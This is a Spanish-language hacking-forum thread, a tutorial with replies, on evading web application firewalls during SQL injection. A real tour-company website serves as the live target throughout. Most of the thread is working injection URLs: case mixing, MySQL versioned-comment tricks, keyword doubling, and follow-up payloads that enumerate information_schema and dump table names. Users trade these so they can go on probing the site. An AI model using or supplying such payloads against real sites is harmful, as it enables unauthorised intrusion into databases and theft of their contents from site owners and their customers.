Hola comunidad de underc0de, en está ocasión les vengo a enseñar algunas formas para bypassear un WAF (Web application firewall) en sus momentos de hacer una Inyección SQL.
Primero que nada, ¿Qué es un WAF?
Información sobre ello: http://www.nowebsinwaf.com/iquestqueacute-es-un-waf.html (http://www.nowebsinwaf.com/iquestqueacute-es-un-waf.html)
Bueno, supongamos que tenemos una página vulnerable a SQL Injection y nos toca búscar las columnas vulnerables usando UNION SELECT, y cuando ejecutamos la inyección en la página de repente nos dispara un WAF. Un ejemplo de como se vería ciertas veces un waf:
(http://i.imgur.com/AN6WMdj.png)
Usare esa página como ejemplo, http://www.alwaysperu.com/tours-view-more.php?id=1 (http://www.alwaysperu.com/tours-view-more.php?id=1)
Vale, entonces como lo bypassearia? usando ciertas formas de burlar al servidor, por ejemplo en el UNION SELECT le puedo cambiar el caso y colocarlo como uNiOn SeLeCt , quedando todo de la siguiente forma:
http://www.alwaysperu.com/tours-view-more.php?id=1 and 0 uNion sELeCt 1,2,3,4,5,6,7,8,9,10 # (http://www.alwaysperu.com/tours-view-more.php?id=1%20and%200%20uNion%20sELeCt%201,2,3,4,5,6,7,8,9,10%20#)
Vale, está un poco fuerte. No lo logro bypassear, entonces usamos otro tip. Como por ejemplo, los comentarios /*! */ . Ej:
http://www.alwaysperu.com/tours-view-more.php?id=1 and 0 /*!uNion sELeCt*/ 1,2,3,4,5,6,7,8,9,10 # (http://www.alwaysperu.com/tours-view-more.php?id=1%20and%200%20/*!uNion%20sELeCt*/%201,2,3,4,5,6,7,8,9,10%20#)
Aún no lo logra bypassear, añado un 50000 a un costado del union haber que tal..
http://www.alwaysperu.com/tours-view-more.php?id=1 and 0 /*!50000uNion sELeCt*/ 1,2,3,4,5,6,7,8,9,10 # (http://www.alwaysperu.com/tours-view-more.php?id=1%20and%200%20/*!50000uNion%20sELeCt*/%201,2,3,4,5,6,7,8,9,10%20#)
Nos devuelve el siguiente resultado:
(http://i.imgur.com/XRJ9ZOO.png)
Excelente!! Nos ha logrado bypassear el Web Application Firewall :D. Ahora podemos seguir jugueteando con el servidor búscando sus registros, tablas, etc.. Eso ya es cosa de ustedes.
Otro tip que nos puede ser útil es:
UNIunionON SELselectECT
En esto, uso UNI porque ciertas veces el servidor elimina las palabras entonces lo uso de esa manera ;D.
Bueno eso ha sido todo :D.
Me despido, saludos.
Muy bueno...solo queria aclarar que desp del /*! puede ser precedido cualquier numero de 5 cifras desde el 00000 al 49999 para evadir el waf.
http://www.alwaysperu.com/tours-view-more.php?id=1%20and%200%20/*!00000uNion%20sELeCt*/%201,2,3,4,5,6,7,8,9,10%20#
Cita de: [Q3rV[0] link=topic=18589.msg62916#msg62916 date=1375207720]
Muy bueno...solo queria aclarar que desp del /*! puede ser precedido cualquier numero de 5 cifras desde el 00000 al 49999 para evadir el waf.
http://www.alwaysperu.com/tours-view-more.php?id=1%20and%200%20/*!00000uNion%20sELeCt*/%201,2,3,4,5,6,7,8,9,10%20#
Y que esas 5 cifras significan la version pero como en el caso de q3rv0 si pones 00000 signfica un 0 en si es decir que si pones 01234 02345 siempre seria 0 es decir la version seria tomada como 0 :P y si pones por ejemplo: 50000 seria tomada como version 5 :) salu2 ;) :D
Tengo una consulta, y si despues de haber bypasseado para que me diera el numero de las tablas, como sigo si añadiendo el famoso "+from+information_schema.tables--" si me lo bloquea y me vuelve a tirar la pagina de error :o
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Tengo una consulta, y si despues de haber bypasseado para que me diera el numero de las tablas, como sigo si añadiendo el famoso "+from+information_schema.tables--" si me lo bloquea y me vuelve a tirar la pagina de error :o
La verdad es que me siento algo oxidado en el tema, pero testeando un poco (no tengo ningún WAF para probar realmente) creo que sería algo así:
-1 '/*!00000union%20select*/1,table_name,3,4 /*!00000from*/%20information_schema.tables -- '
Zalu2
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Tengo una consulta, y si despues de haber bypasseado para que me diera el numero de las tablas, como sigo si añadiendo el famoso "+from+information_schema.tables--" si me lo bloquea y me vuelve a tirar la pagina de error :o
También puedes usar los mismos tips que coloque en el tutorial, por ejemplo en tu caso si deseas búscar las tablas puedes usar la siguiente inyección (en este caso con la web que use en el tuto):
http://www.alwaysperu.com/tours-view-more.php?id=1 /*!50000and 0*/ /*!50000UNION*/ /*!50000SELECT 1,table_name,3,4,5,6,7,8,9,10*/ from InfoRmaTiOn_SchEmA.TaBlEs limit 0,1 # (http://www.alwaysperu.com/tours-view-more.php?id=1%20/*!50000and%200*/%20/*!50000UNION*/%20/*!50000SELECT%201,table_name,3,4,5,6,7,8,9,10*/%20from%20InfoRmaTiOn_SchEmA.TaBlEs%20limit%200,1%20#)
En ese caso use limit, pero si quieres extraer todas tablas de la currente base de datos, puedes usar la siguiente:
http://www.alwaysperu.com/tours-view-more.php?id=1 /*!50000and 0*/ /*!50000UNION*/ /*!50000SELECT 1,gRoUp_CoNcAt(table_name),3,4,5,6,7,8,9,10/*!50000from*/information_schema.TaBleS/*!wHeRe*/tAbLe_ScHeMa=0x616c7761797370655f616c7761797370657275 #c (http://www.alwaysperu.com/tours-view-more.php?id=1%20/*!50000and%200*/%20/*!50000UNION*/%20/*!50000SELECT%201,gRoUp_CoNcAt(table_name),3,4,5,6,7,8,9,10/*!50000from*/information_schema.TaBleS/*!wHeRe*/tAbLe_ScHeMa=0x616c7761797370655f616c7761797370657275%20#c)
salu2 bro!! ;).
Muchas gracias a todos, intentare con lo que me han proporcionado, si no funciona sigo el hilo y les comento. Gracias a todos